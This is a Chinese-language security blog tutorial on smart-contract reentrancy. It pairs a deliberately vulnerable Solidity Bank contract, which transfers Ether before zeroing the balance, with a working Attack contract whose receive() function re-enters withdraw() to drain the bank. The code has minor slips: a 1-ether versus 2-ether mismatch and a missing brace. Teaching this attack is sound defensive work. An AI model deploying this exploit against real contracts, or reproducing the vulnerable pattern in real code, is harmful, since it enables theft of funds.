重入攻击是智能合约中最常见的一种攻击,攻击者通过合约漏洞(例如fallback
函数)循环调用合约,将合约中资产转走或铸造大量代币。
与web2.0
中的重放攻击导致的逻辑漏洞类似,当用户向合约提现时,正常情况如下
web2.0
一样在短时间内不断的发包,在置为0前不断的触发转账函数即可做到将大量的钱转走。因此,我们可以写一个恶意合约来完成我们的设想思路
fallback()/recevie()
函数,该函数的内容为请求合约向合约转账。就此,陷入转账的循环,却一直没有到将用户余额置0的那行 /*
那个函数被调用了? 是 fallback() 还是 receive()?
send Ether
|
msg.data 是否为空?
/ \
是 否
/ \
receive() 存在? fallback()
/ \
是 否
/ \
receive() fallback()
*/
bank
合约
contract Bank {
mapping (address => uint256) public balanceOf; // 余额mapping
// 存入ether,并更新余额
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}
// 提取msg.sender的全部ether
function withdraw() external {
uint256 balance = balanceOf[msg.sender]; // 获取余额
require(balance > 0, "Insufficient balance");
// 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险!
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
// 更新余额
balanceOf[msg.sender] = 0;
}
// 获取银行合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
contract Attack {
Bank public bank; // Bank合约地址
// 初始化Bank合约地址
constructor(Bank _bank) {
bank = _bank;
}
// 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数
receive() external payable {
if (bank.getBalance() >= 1 ether) {
bank.withdraw();
}
}
// 攻击函数,调用时 msg.value 设为 1 ether
function attack() external payable {
require(msg.value == 2 ether, "Require 1 Ether to attack");
bank.deposit{value: 2 ether}();
bank.withdraw();
}
// 获取本合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
因为Attack
合约中,构造函数已经初始化了Bank
,因此,直接传入Bank
地址创建该Attack
合约
目前该Attack
合约没有钱,调用attack
方法的时候记得转2eth
过去
调用attack
方法后,Attack
合约余额变为了22eth
,banck
余额为0
本文作者:硝基苯
本文链接:https://www.c6sec.com/index.php/archives/844/
最后修改时间:2023-07-08 23:06:47
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!